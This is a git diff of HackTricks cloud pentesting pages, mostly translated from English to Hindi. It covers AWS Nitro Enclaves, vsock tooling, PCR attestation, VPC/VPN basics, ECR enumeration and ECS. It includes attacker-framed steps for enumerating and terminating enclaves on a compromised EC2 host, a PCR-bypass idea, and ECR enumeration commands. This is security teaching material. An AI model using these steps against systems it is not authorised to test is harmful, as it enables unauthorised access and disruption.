@@ sudo systemctl start nitro-enclaves-allocator.service && sudo systemctl enable n # Indicate the CPUs and memory to give nitro-cli run-enclave --cpu-count 2 --memory 3072 --eif-path hello.eif --debug-mode --enclave-cid 16 ``` +### Enclaves की गणना करें -### Enumerate Enclaves - -If you compromise and EC2 host it's possible to get a list of running enclave images with: - +यदि आप एक EC2 होस्ट को समझौता करते हैं, तो चल रहे एन्क्लेव छवियों की सूची प्राप्त करना संभव है: ```bash nitro-cli describe-enclaves ``` - -It's **not possible to get a shell** inside a running enclave image because thats the main purpose of enclave, however, if you used the parameter **`--debug-mode`**, it's possible to get the **stdout** of it with: - +यह **चल रहे एन्क्लेव इमेज** के अंदर एक शेल प्राप्त करना **संभव नहीं है** क्योंकि यही एन्क्लेव का मुख्य उद्देश्य है, हालाँकि, यदि आपने पैरामीटर **`--debug-mode`** का उपयोग किया, तो आप इसे **stdout** प्राप्त कर सकते हैं: ```shell ENCLAVE_ID=$(nitro-cli describe-enclaves | jq -r ".[0].EnclaveID") nitro-cli console --enclave-id ${ENCLAVE_ID} ``` - ### Terminate Enclaves -If an attacker compromise an EC2 instance by default he won't be able to get a shell inside of them, but he will be able to **terminate them** with: - +यदि एक हमलावर एक EC2 उदाहरण को समझौता करता है, तो डिफ़ॉल्ट रूप से वह उनके अंदर एक शेल प्राप्त नहीं कर पाएगा, लेकिन वह उन्हें **terminate** करने में सक्षम होगा: ```shell nitro-cli terminate-enclave --enclave-id ${ENCLAVE_ID} ``` - ## Vsocks -The only way to communicate with an **enclave** running image is using **vsocks**. +**enclave** चलाने वाली छवि के साथ संवाद करने का एकमात्र तरीका **vsocks** का उपयोग करना है। -**Virtual Socket (vsock)** is a socket family in Linux specifically designed to facilitate **communication** between virtual machines (**VMs**) and their **hypervisors**, or between VMs **themselves**. Vsock enables efficient, **bi-directional communication** without relying on the host's networking stack. This makes it possible for VMs to communicate even without network configurations, **using a 32-bit Context ID (CID) and port numbers** to identify and manage connections. The vsock API supports both stream and datagram socket types, similar to TCP and UDP, providing a versatile tool for user-level applications in virtual environments. +**Virtual Socket (vsock)** लिनक्स में एक सॉकेट परिवार है जिसे विशेष रूप से वर्चुअल मशीनों (**VMs**) और उनके **hypervisors** के बीच या VMs **के बीच** संवाद को सुविधाजनक बनाने के लिए डिज़ाइन किया गया है। Vsock कुशल, **द्वि-दिशात्मक संचार** को सक्षम बनाता है बिना मेज़बान के नेटवर्किंग स्टैक पर निर्भर किए। यह VMs को नेटवर्क कॉन्फ़िगरेशन के बिना संवाद करने की अनुमति देता है, **32-बिट Context ID (CID) और पोर्ट नंबरों** का उपयोग करके कनेक्शनों की पहचान और प्रबंधन करने के लिए। vsock API स्ट्रीम और डेटाग्राम सॉकेट प्रकारों का समर्थन करता है, TCP और UDP के समान, वर्चुअल वातावरण में उपयोगकर्ता-स्तरीय अनुप्रयोगों के लिए एक बहुपरकारी उपकरण प्रदान करता है। > [!TIP] -> Therefore, an vsock address looks like this: `:` +> इसलिए, एक vsock पता इस तरह दिखता है: `:` -To find **CIDs** of the enclave running images you could just execute the following cmd and thet the **`EnclaveCID`**: +**CIDs** खोजने के लिए जो enclave चलाने वाली छवियों के लिए हैं, आप बस निम्नलिखित cmd निष्पादित कर सकते हैं और **`EnclaveCID`** प्राप्त कर सकते हैं:
nitro-cli describe-enclaves
 
 [
-  {
-    "EnclaveName": "secure-channel-example",
-    "EnclaveID": "i-0bc274f83ade02a62-enc18ef3d09c886748",
-    "ProcessID": 10131,
+{
+"EnclaveName": "secure-channel-example",
+"EnclaveID": "i-0bc274f83ade02a62-enc18ef3d09c886748",
+"ProcessID": 10131,
     "EnclaveCID": 16,
     "NumberOfCPUs": 2,
-    "CPUIDs": [
-      1,
-      3
-    ],
-    "MemoryMiB": 1024,
-    "State": "RUNNING",
-    "Flags": "DEBUG_MODE",
-    "Measurements": {
-      "HashAlgorithm": "Sha384 { ... }",
-      "PCR0": "e199261541a944a93129a52a8909d29435dd89e31299b59c371158fc9ab3017d9c450b0a580a487e330b4ac691943284",
-      "PCR1": "bcdf05fefccaa8e55bf2c8d6dee9e79bbff31e34bf28a99aa19e6b29c37ee80b214a414b7607236edf26fcb78654e63f",
-      "PCR2": "2e1fca1dbb84622ec141557dfa971b4f8ea2127031b264136a20278c43d1bba6c75fea286cd4de9f00450b6a8db0e6d3"
-    }
-  }
+"CPUIDs": [
+1,
+3
+],
+"MemoryMiB": 1024,
+"State": "RUNNING",
+"Flags": "DEBUG_MODE",
+"Measurements": {
+"HashAlgorithm": "Sha384 { ... }",
+"PCR0": "e199261541a944a93129a52a8909d29435dd89e31299b59c371158fc9ab3017d9c450b0a580a487e330b4ac691943284",
+"PCR1": "bcdf05fefccaa8e55bf2c8d6dee9e79bbff31e34bf28a99aa19e6b29c37ee80b214a414b7607236edf26fcb78654e63f",
+"PCR2": "2e1fca1dbb84622ec141557dfa971b4f8ea2127031b264136a20278c43d1bba6c75fea286cd4de9f00450b6a8db0e6d3"
+}
+}
 ]
 
> [!WARNING] -> Note that from the host there isn't any way to know if a CID is exposing any port! Unless using some **vsock port scanner like** [**https://github.com/carlospolop/Vsock-scanner**](https://github.com/carlospolop/Vsock-scanner). +> ध्यान दें कि मेज़बान से यह जानने का कोई तरीका नहीं है कि कोई CID किसी पोर्ट को उजागर कर रहा है! जब तक कि कुछ **vsock पोर्ट स्कैनर जैसे** [**https://github.com/carlospolop/Vsock-scanner**](https://github.com/carlospolop/Vsock-scanner) का उपयोग न किया जाए। ### Vsock Server/Listener -Find here a couple of examples: +यहाँ कुछ उदाहरण दिए गए हैं: - [https://github.com/aws-samples/aws-nitro-enclaves-workshop/blob/main/resources/code/my-first-enclave/secure-local-channel/server.py](https://github.com/aws-samples/aws-nitro-enclaves-workshop/blob/main/resources/code/my-first-enclave/secure-local-channel/server.py)
Simple Python Listener - ```python #!/usr/bin/env python3 @@ -173,20 +156,17 @@ s.listen() print(f"Connection opened by cid={remote_cid} port={remote_port}") while True: - buf = conn.recv(64) - if not buf: - break +buf = conn.recv(64) +if not buf: +break - print(f"Received bytes: {buf}") +print(f"Received bytes: {buf}") ``` -
- ```bash # Using socat socat VSOCK-LISTEN:,fork EXEC:"echo Hello from server!" ``` - ### Vsock Client Examples: @@ -195,8 +175,7 @@ Examples:
-Simple Python Client - +सरल पायथन क्लाइंट ```python #!/usr/bin/env python3 @@ -212,64 +191,51 @@ s.connect((CID, PORT)) s.sendall(b"Hello, world!") s.close() ``` -
- ```bash # Using socat echo "Hello, vsock!" | socat - VSOCK-CONNECT:3:5000 ``` - ### Vsock Proxy -The tool vsock-proxy allows to proxy a vsock proxy with another address, for example: - +टूल vsock-proxy एक vsock प्रॉक्सी को दूसरे पते के साथ प्रॉक्सी करने की अनुमति देता है, उदाहरण के लिए: ```bash vsock-proxy 8001 ip-ranges.amazonaws.com 443 --config your-vsock-proxy.yaml ``` - -This will forward the **local port 8001 in vsock** to `ip-ranges.amazonaws.com:443` and the file **`your-vsock-proxy.yaml`** might have this content allowing to access `ip-ranges.amazonaws.com:443`: - +यह **स्थानीय पोर्ट 8001 को vsock** पर `ip-ranges.amazonaws.com:443` पर अग्रेषित करेगा और फ़ाइल **`your-vsock-proxy.yaml`** में यह सामग्री हो सकती है जो `ip-ranges.amazonaws.com:443` तक पहुँचने की अनुमति देती है: ```yaml allowlist: - - { address: ip-ranges.amazonaws.com, port: 443 } +- { address: ip-ranges.amazonaws.com, port: 443 } ``` - -It's possible to see the vsock addresses (**`:`**) used by the EC2 host with (note the `3:8001`, 3 is the CID and 8001 the port): - +यह संभव है कि EC2 होस्ट द्वारा उपयोग किए जाने वाले vsock पते (**`:`**) को देखा जा सके (ध्यान दें `3:8001`, 3 CID है और 8001 पोर्ट है): ```bash sudo ss -l -p -n | grep v_str v_str LISTEN 0 0 3:8001 *:* users:(("vsock-proxy",pid=9458,fd=3)) ``` - ## Nitro Enclave Atestation & KMS -The Nitro Enclaves SDK allows an enclave to request a **cryptographically signed attestation document** from the Nitro **Hypervisor**, which includes **unique measurements** specific to that enclave. These measurements, which include **hashes and platform configuration registers (PCRs)**, are used during the attestation process to **prove the enclave's identity** and **build trust with external services**. The attestation document typically contains values like PCR0, PCR1, and PCR2, which you have encountered before when building and saving an enclave EIF. +Nitro Enclaves SDK एक enclave को Nitro **Hypervisor** से एक **क्रिप्टोग्राफिक रूप से हस्ताक्षरित अटेस्टेशन दस्तावेज** मांगने की अनुमति देता है, जिसमें उस enclave के लिए **विशिष्ट अद्वितीय माप** शामिल होते हैं। ये माप, जिसमें **हैश और प्लेटफ़ॉर्म कॉन्फ़िगरेशन रजिस्टर (PCRs)** शामिल हैं, अटेस्टेशन प्रक्रिया के दौरान **enclave की पहचान साबित करने** और **बाहरी सेवाओं के साथ विश्वास बनाने** के लिए उपयोग किए जाते हैं। अटेस्टेशन दस्तावेज़ में आमतौर पर ऐसे मान होते हैं जैसे PCR0, PCR1, और PCR2, जिनका आपने पहले एक enclave EIF बनाने और सहेजने के दौरान सामना किया है। -From the [**docs**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-3-cryptographic-attestation#a-unique-feature-on-nitro-enclaves), these are the PCR values: +[**docs**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-3-cryptographic-attestation#a-unique-feature-on-nitro-enclaves) से, ये PCR मान हैं: -
PCRHash of ...Description
PCR0Enclave image fileA contiguous measure of the contents of the image file, without the section data.
PCR1Linux kernel and bootstrapA contiguous measurement of the kernel and boot ramfs data.
PCR2ApplicationA contiguous, in-order measurement of the user applications, without the boot ramfs.
PCR3IAM role assigned to the parent instanceA contiguous measurement of the IAM role assigned to the parent instance. Ensures that the attestation process succeeds only when the parent instance has the correct IAM role.
PCR4Instance ID of the parent instanceA contiguous measurement of the ID of the parent instance. Ensures that the attestation process succeeds only when the parent instance has a specific instance ID.
PCR8Enclave image file signing certificateA measure of the signing certificate specified for the enclave image file. Ensures that the attestation process succeeds only when the enclave was booted from an enclave image file signed by a specific certificate.
+
PCRHash of ...Description
PCR0Enclave image fileइमेज फ़ाइल की सामग्री का एक निरंतर माप, बिना अनुभाग डेटा के।
PCR1Linux kernel and bootstrapकर्नेल और बूट ramfs डेटा का एक निरंतर माप।
PCR2Applicationउपयोगकर्ता अनुप्रयोगों का एक निरंतर, क्रमबद्ध माप, बिना बूट ramfs के।
PCR3IAM role assigned to the parent instanceमाता-पिता उदाहरण को सौंपा गया IAM भूमिका का एक निरंतर माप। सुनिश्चित करता है कि अटेस्टेशन प्रक्रिया केवल तभी सफल होती है जब माता-पिता उदाहरण के पास सही IAM भूमिका हो।
PCR4Instance ID of the parent instanceमाता-पिता उदाहरण के ID का एक निरंतर माप। सुनिश्चित करता है कि अटेस्टेशन प्रक्रिया केवल तभी सफल होती है जब माता-पिता उदाहरण के पास एक विशिष्ट उदाहरण ID हो।
PCR8Enclave image file signing certificateenclave image file के लिए निर्दिष्ट हस्ताक्षर प्रमाणपत्र का एक माप। सुनिश्चित करता है कि अटेस्टेशन प्रक्रिया केवल तभी सफल होती है जब enclave को एक विशिष्ट प्रमाणपत्र द्वारा हस्ताक्षरित enclave image file से बूट किया गया हो।
-You can integrate **cryptographic attestation** into your applications and leverage pre-built integrations with services like **AWS KMS**. AWS KMS can **validate enclave attestations** and offers attestation-based condition keys (`kms:RecipientAttestation:ImageSha384` and `kms:RecipientAttestation:PCR`) in its key policies. These policies ensure that AWS KMS permits operations using the KMS key **only if the enclave's attestation document is valid** and meets the **specified conditions**. +आप अपने अनुप्रयोगों में **क्रिप्टोग्राफिक अटेस्टेशन** को एकीकृत कर सकते हैं और **AWS KMS** जैसी सेवाओं के साथ पूर्व-निर्मित एकीकरण का लाभ उठा सकते हैं। AWS KMS **enclave attestations** को **मान्य** कर सकता है और इसके कुंजी नीतियों में अटेस्टेशन-आधारित स्थिति कुंजी (`kms:RecipientAttestation:ImageSha384` और `kms:RecipientAttestation:PCR`) प्रदान करता है। ये नीतियाँ सुनिश्चित करती हैं कि AWS KMS केवल तभी KMS कुंजी का उपयोग करने की अनुमति देता है **जब enclave का अटेस्टेशन दस्तावेज़ मान्य हो** और **निर्धारित शर्तों** को पूरा करता हो। > [!TIP] -> Note that Enclaves in debug (--debug) mode generate attestation documents with PCRs that are made of zeros (`000000000000000000000000000000000000000000000000`). Therefore, KMS policies checking these values will fail. +> ध्यान दें कि डिबग (--debug) मोड में Enclaves अटेस्टेशन दस्तावेज़ उत्पन्न करते हैं जिनमें PCRs शून्य (`000000000000000000000000000000000000000000000000`) होते हैं। इसलिए, इन मानों की जांच करने वाली KMS नीतियाँ विफल होंगी। ### PCR Bypass -From an attackers perspective, notice that some PCRs would allow to modify some parts or all the enclave image and would still be valid (for example PCR4 just checks the ID of the parent instance so running any enclave image in that EC2 will allow to fulfil this potential PCR requirement). +एक हमलावर के दृष्टिकोण से, ध्यान दें कि कुछ PCRs कुछ भागों या सभी enclave image को संशोधित करने की अनुमति देंगे और फिर भी मान्य रहेंगे (उदाहरण के लिए PCR4 केवल माता-पिता उदाहरण के ID की जांच करता है, इसलिए उस EC2 में कोई भी enclave image चलाना इस संभावित PCR आवश्यकता को पूरा करने की अनुमति देगा)। -Therefore, an attacker that compromise the EC2 instance might be able to run other enclave images in order to bypass these protections. +इसलिए, एक हमलावर जो EC2 उदाहरण को समझौता करता है, इन सुरक्षा उपायों को बायपास करने के लिए अन्य enclave images को चलाने में सक्षम हो सकता है। -The research on how to modify/create new images to bypass each protection (spcially the not taht obvious ones) is still TODO. +प्रत्येक सुरक्षा को बायपास करने के लिए नए इमेज को संशोधित/बनाने पर शोध (विशेष रूप से जो स्पष्ट नहीं हैं) अभी भी TODO है। ## References - [https://medium.com/@F.DL/understanding-vsock-684016cf0eb0](https://medium.com/@F.DL/understanding-vsock-684016cf0eb0) -- All the parts of the Nitro tutorial from AWS: [https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli) +- AWS से Nitro ट्यूटोरियल के सभी भाग: [https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md index 03277bfd1..109eb5ff8 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md @@ -17,9 +17,9 @@ Moreover, in order to **access Internet**, there are some interesting configurat - A **subnetwork** can **auto-assign public IPv4 addresses** - An **instance** created in the network that **auto-assign IPv4 addresses can get one** - An **Internet gateway** need to be **attached** to the **VPC** - - You could also use **Egress-only internet gateways** +- You could also use **Egress-only internet gateways** - You could also have a **NAT gateway** in a **private subnet** so it's possible to **connect to external services** from that private subnet, but it's **not possible to reach them from the outside**. - - The NAT gateway can be **public** (access to the internet) or **private** (access to other VPCs) +- The NAT gateway can be **public** (access to the internet) or **private** (access to other VPCs) ![](<../../../../images/image (274).png>) @@ -47,7 +47,7 @@ Route tables determine the traffic routing for a subnet within a VPC. They deter - Local VPC - NAT - Internet Gateways / Egress-only Internet gateways (needed to give a VPC access to the Internet). - - In order to make a subnet public you need to **create** and **attach** an **Internet gateway** to your VPC. +- In order to make a subnet public you need to **create** and **attach** an **Internet gateway** to your VPC. - VPC endpoints (to access S3 from private networks) In the following images you can check the differences in a default public network and a private one: @@ -113,25 +113,25 @@ For every network interface that publishes data to the CloudWatch log group, it ### Basic AWS VPN Components 1. **Customer Gateway**: - - A Customer Gateway is a resource that you create in AWS to represent your side of a VPN connection. - - It is essentially a physical device or software application on your side of the Site-to-Site VPN connection. - - You provide routing information and the public IP address of your network device (such as a router or a firewall) to AWS to create a Customer Gateway. - - It serves as a reference point for setting up the VPN connection and doesn't incur additional charges. +- A Customer Gateway is a resource that you create in AWS to represent your side of a VPN connection. +- It is essentially a physical device or software application on your side of the Site-to-Site VPN connection. +- You provide routing information and the public IP address of your network device (such as a router or a firewall) to AWS to create a Customer Gateway. +- It serves as a reference point for setting up the VPN connection and doesn't incur additional charges. 2. **Virtual Private Gateway**: - - A Virtual Private Gateway (VPG) is the VPN concentrator on the Amazon side of the Site-to-Site VPN connection. - - It is attached to your VPC and serves as the target for your VPN connection. - - VPG is the AWS side endpoint for the VPN connection. - - It handles the secure communication between your VPC and your on-premises network. +- A Virtual Private Gateway (VPG) is the VPN concentrator on the Amazon side of the Site-to-Site VPN connection. +- It is attached to your VPC and serves as the target for your VPN connection. +- VPG is the AWS side endpoint for the VPN connection. +- It handles the secure communication between your VPC and your on-premises network. 3. **Site-to-Site VPN Connection**: - - A Site-to-Site VPN connection connects your on-premises network to a VPC through a secure, IPsec VPN tunnel. - - This type of connection requires a Customer Gateway and a Virtual Private Gateway. - - It's used for secure, stable, and consistent communication between your data center or network and your AWS environment. - - Typically used for regular, long-term connections and is billed based on the amount of data transferred over the connection. +- A Site-to-Site VPN connection connects your on-premises network to a VPC through a secure, IPsec VPN tunnel. +- This type of connection requires a Customer Gateway and a Virtual Private Gateway. +- It's used for secure, stable, and consistent communication between your data center or network and your AWS environment. +- Typically used for regular, long-term connections and is billed based on the amount of data transferred over the connection. 4. **Client VPN Endpoint**: - - A Client VPN endpoint is a resource that you create in AWS to enable and manage client VPN sessions. - - It is used for allowing individual devices (like laptops, smartphones, etc.) to securely connect to AWS resources or your on-premises network. - - It differs from Site-to-Site VPN in that it is designed for individual clients rather than connecting entire networks. - - With Client VPN, each client device uses a VPN client software to establish a secure connection. +- A Client VPN endpoint is a resource that you create in AWS to enable and manage client VPN sessions. +- It is used for allowing individual devices (like laptops, smartphones, etc.) to securely connect to AWS resources or your on-premises network. +- It differs from Site-to-Site VPN in that it is designed for individual clients rather than connecting entire networks. +- With Client VPN, each client device uses a VPN client software to establish a secure connection. ### Site-to-Site VPN @@ -140,7 +140,7 @@ For every network interface that publishes data to the CloudWatch log group, it - **VPN connection**: A secure connection between your on-premises equipment and your VPCs. - **VPN tunnel**: An encrypted link where data can pass from the customer network to or from AWS. - Each VPN connection includes two VPN tunnels which you can simultaneously use for high availability. +Each VPN connection includes two VPN tunnels which you can simultaneously use for high availability. - **Customer gateway**: An AWS resource which provides information to AWS about your customer gateway device. - **Customer gateway device**: A physical device or software application on your side of the Site-to-Site VPN connection. @@ -186,14 +186,10 @@ In addition, take the following into consideration when you use Site-to-Site VPN - Client VPN is **not** Federal Information Processing Standards (**FIPS**) **compliant**. - If multi-factor authentication (MFA) is disabled for your Active Directory, a user password cannot be in the following format. - ``` - SCRV1:: - ``` +``` +SCRV1:: +``` - The self-service portal is **not available for clients that authenticate using mutual authentication**. {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md index 9025829b4..b162492ac 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md @@ -8,47 +8,46 @@ #### Basic Information -Amazon **Elastic Container Registry** (Amazon ECR) is a **managed container image registry service**. It is designed to provide an environment where customers can interact with their container images using well-known interfaces. Specifically, the use of the Docker CLI or any preferred client is supported, enabling activities such as pushing, pulling, and managing container images. +Amazon **Elastic Container Registry** (Amazon ECR) एक **managed container image registry service** है। यह एक ऐसा वातावरण प्रदान करने के लिए डिज़ाइन किया गया है जहाँ ग्राहक अपने कंटेनर छवियों के साथ अच्छी तरह से ज्ञात इंटरफेस का उपयोग करके बातचीत कर सकते हैं। विशेष रूप से, Docker CLI या किसी भी पसंदीदा क्लाइंट का उपयोग समर्थित है, जो कंटेनर छवियों को पुश, पुल और प्रबंधित करने जैसी गतिविधियों को सक्षम बनाता है। -ECR is compose by 2 types of objects: **Registries** and **Repositories**. +ECR 2 प्रकार की वस्तुओं से बना है: **Registries** और **Repositories**। **Registries** -Every AWS account has 2 registries: **Private** & **Public**. +हर AWS खाता में 2 रजिस्ट्रियाँ होती हैं: **Private** & **Public**। 1. **Private Registries**: -- **Private by default**: The container images stored in an Amazon ECR private registry are **only accessible to authorized users** within your AWS account or to those who have been granted permission. - - The URI of a **private repository** follows the format `.dkr.ecr..amazonaws.com/` -- **Access control**: You can **control access** to your private container images using **IAM policies**, and you can configure fine-grained permissions based on users or roles. -- **Integration with AWS services**: Amazon ECR private registries can be easily **integrated with other AWS services**, such as EKS, ECS... -- **Other private registry options**: - - The Tag immutability column lists its status, if tag immutability is enabled it will **prevent** image **pushes** with **pre-existing tags** from overwriting the images. - - The **Encryption type** column lists the encryption properties of the repository, it shows the default encryption types such as AES-256, or has **KMS** enabled encryptions. - - The **Pull through cache** column lists its status, if Pull through cache status is Active it will cache **repositories in an external public repository into your private repository**. - - Specific **IAM policies** can be configured to grant different **permissions**. - - The **scanning configuration** allows to scan for vulnerabilities in the images stored inside the repo. +- **डिफ़ॉल्ट रूप से निजी**: Amazon ECR निजी रजिस्ट्रियों में संग्रहीत कंटेनर छवियाँ **केवल अधिकृत उपयोगकर्ताओं** के लिए उपलब्ध हैं जो आपके AWS खाते के भीतर हैं या जिन्हें अनुमति दी गई है। +- एक **निजी रिपॉजिटरी** का URI इस प्रारूप का अनुसरण करता है `.dkr.ecr..amazonaws.com/` +- **एक्सेस नियंत्रण**: आप **IAM नीतियों** का उपयोग करके अपनी निजी कंटेनर छवियों तक **एक्सेस नियंत्रित** कर सकते हैं, और आप उपयोगकर्ताओं या भूमिकाओं के आधार पर बारीक अनुमति कॉन्फ़िगर कर सकते हैं। +- **AWS सेवाओं के साथ एकीकरण**: Amazon ECR निजी रजिस्ट्रियाँ अन्य AWS सेवाओं के साथ आसानी से **एकीकृत** की जा सकती हैं, जैसे EKS, ECS... +- **अन्य निजी रजिस्ट्रियों के विकल्प**: +- टैग अपरिवर्तनीयता कॉलम इसकी स्थिति को सूचीबद्ध करता है, यदि टैग अपरिवर्तनीयता सक्षम है तो यह **पूर्व-निर्धारित टैग** के साथ छवि **पुश** को ओवरराइट करने से **रोक देगा**। +- **एन्क्रिप्शन प्रकार** कॉलम रिपॉजिटरी की एन्क्रिप्शन विशेषताओं को सूचीबद्ध करता है, यह डिफ़ॉल्ट एन्क्रिप्शन प्रकार जैसे AES-256 दिखाता है, या **KMS** सक्षम एन्क्रिप्शन है। +- **पुल थ्रू कैश** कॉलम इसकी स्थिति को सूचीबद्ध करता है, यदि पुल थ्रू कैश स्थिति सक्रिय है तो यह **एक बाहरी सार्वजनिक रिपॉजिटरी में रिपॉजिटरी को आपके निजी रिपॉजिटरी में कैश करेगा**। +- विशिष्ट **IAM नीतियों** को विभिन्न **अनुमतियों** को देने के लिए कॉन्फ़िगर किया जा सकता है। +- **स्कैनिंग कॉन्फ़िगरेशन** छवियों में कमजोरियों के लिए स्कैन करने की अनुमति देता है जो रिपॉजिटरी के अंदर संग्रहीत हैं। 2. **Public Registries**: -- **Public accessibility**: Container images stored in an ECR Public registry are **accessible to anyone on the internet without authentication.** - - The URI of a **public repository** is like `public.ecr.aws//`. Although the `` part can be changed by the admin to another string easier to remember. +- **सार्वजनिक पहुंच**: ECR सार्वजनिक रजिस्ट्रियों में संग्रहीत कंटेनर छवियाँ **बिना प्रमाणीकरण के इंटरनेट पर किसी के लिए भी उपलब्ध हैं।** +- एक **सार्वजनिक रिपॉजिटरी** का URI इस तरह है `public.ecr.aws//`। हालांकि `` भाग को व्यवस्थापक द्वारा याद रखने में आसान किसी अन्य स्ट्रिंग में बदला जा सकता है। **Repositories** -These are the **images** that in the **private registry** or to the **public** one. +ये **छवियाँ** हैं जो **निजी रजिस्ट्रियों** या **सार्वजनिक** में हैं। > [!NOTE] -> Note that in order to upload an image to a repository, the **ECR repository need to have the same name as the image**. +> ध्यान दें कि एक छवि को रिपॉजिटरी में अपलोड करने के लिए, **ECR रिपॉजिटरी का नाम छवि के समान होना चाहिए**। #### Registry & Repository Policies -**Registries & repositories** also have **policies that can be used to grant permissions to other principals/accounts**. For example, in the following repository policy image you can see how any user from the whole organization will be able to access the image: +**Registries & repositories** के पास **अन्य प्रिंसिपल/खातों को अनुमतियाँ देने के लिए उपयोग की जाने वाली नीतियाँ भी होती हैं**। उदाहरण के लिए, निम्नलिखित रिपॉजिटरी नीति छवि में आप देख सकते हैं कि कैसे संगठन के पूरे उपयोगकर्ता छवि तक पहुँच प्राप्त कर सकेंगे:
#### Enumeration - ```bash # Get repos aws ecr describe-repositories @@ -68,39 +67,34 @@ aws ecr-public describe-repositories aws ecr get-registry-policy aws ecr get-repository-policy --repository-name ``` - -#### Unauthenticated Enum +#### अनधिकृत Enum {{#ref}} ../aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md {{#endref}} -#### Privesc +#### प्रिवेस्क -In the following page you can check how to **abuse ECR permissions to escalate privileges**: +निम्नलिखित पृष्ठ पर आप **ECR अनुमतियों का दुरुपयोग करके विशेषाधिकार बढ़ाने** के तरीके की जांच कर सकते हैं: {{#ref}} ../aws-privilege-escalation/aws-ecr-privesc.md {{#endref}} -#### Post Exploitation +#### पोस्ट एक्सप्लोइटेशन {{#ref}} ../aws-post-exploitation/aws-ecr-post-exploitation.md {{#endref}} -#### Persistence +#### स्थिरता {{#ref}} ../aws-persistence/aws-ecr-persistence.md {{#endref}} -## References +## संदर्भ - [https://docs.aws.amazon.com/AmazonECR/latest/APIReference/Welcome.html](https://docs.aws.amazon.com/AmazonECR/latest/APIReference/Welcome.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md index cbbf596fe..6812cf4e1 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md @@ -6,29 +6,28 @@ ### Basic Information -Amazon **Elastic Container Services** or ECS provides a platform to **host containerized applications in the cloud**. ECS has two **deployment** methods, **EC2** instance type and a **serverless** option, **Fargate**. The service **makes running containers in the cloud very easy and pain free**. +Amazon **Elastic Container Services** या ECS एक प्लेटफ़ॉर्म प्रदान करता है **क्लाउड में कंटेनराइज्ड एप्लिकेशन होस्ट करने के लिए**। ECS के दो **डिप्लॉयमेंट** तरीके हैं, **EC2** इंस्टेंस प्रकार और एक **सर्वरलेस** विकल्प, **Fargate**। यह सेवा **क्लाउड में कंटेनरों को चलाना बहुत आसान और बिना किसी परेशानी के बनाती है**। -ECS operates using the following three building blocks: **Clusters**, **Services**, and **Task Definitions**. +ECS निम्नलिखित तीन निर्माण ब्लॉकों का उपयोग करता है: **Clusters**, **Services**, और **Task Definitions**। -- **Clusters** are **groups of containers** that are running in the cloud. As previously mentioned, there are two launch types for containers, EC2 and Fargate. AWS defines the **EC2** launch type as allowing customers “to run \[their] containerized applications on a cluster of Amazon EC2 instances that \[they] **manage**”. **Fargate** is similar and is defined as “\[allowing] you to run your containerized applications **without the need to provision and manage** the backend infrastructure”. -- **Services** are created inside a cluster and responsible for **running the tasks**. Inside a service definition **you define the number of tasks to run, auto scaling, capacity provider (Fargate/EC2/External),** **networking** information such as VPC’s, subnets, and security groups. - - There **2 types of applications**: - - **Service**: A group of tasks handling a long-running computing work that can be stopped and restarted. For example, a web application. - - **Task**: A standalone task that runs and terminates. For example, a batch job. - - Among the service applications, there are **2 types of service schedulers**: - - [**REPLICA**](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs_services.html): The replica scheduling strategy places and **maintains the desired number** of tasks across your cluster. If for some reason a task shut down, a new one is launched in the same or different node. - - [**DAEMON**](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs_services.html): Deploys exactly one task on each active container instance that has the needed requirements. There is no need to specify a desired number of tasks, a task placement strategy, or use Service Auto Scaling policies. -- **Task Definitions** are responsible for **defining what containers will run** and the various parameters that will be configured with the containers such as **port mappings** with the host, **env variables**, Docker **entrypoint**... - - Check **env variables for sensitive info**! +- **Clusters** **कंटेनरों के समूह** हैं जो क्लाउड में चल रहे हैं। जैसा कि पहले उल्लेख किया गया है, कंटेनरों के लिए दो लॉन्च प्रकार हैं, EC2 और Fargate। AWS **EC2** लॉन्च प्रकार को इस प्रकार परिभाषित करता है कि यह ग्राहकों को “\[उनके] कंटेनराइज्ड एप्लिकेशन को Amazon EC2 इंस्टेंस के एक क्लस्टर पर चलाने की अनुमति देता है जो \[वे] **प्रबंधित** करते हैं”। **Fargate** समान है और इसे इस प्रकार परिभाषित किया गया है “\[आपको] अपने कंटेनराइज्ड एप्लिकेशन को **बैकेंड इन्फ्रास्ट्रक्चर को प्रावधान और प्रबंधित करने की आवश्यकता के बिना** चलाने की अनुमति देता है”। +- **Services** एक क्लस्टर के अंदर बनाई जाती हैं और **कार्य चलाने** के लिए जिम्मेदार होती हैं। एक सेवा परिभाषा के अंदर **आप कार्यों की संख्या, ऑटो स्केलिंग, क्षमता प्रदाता 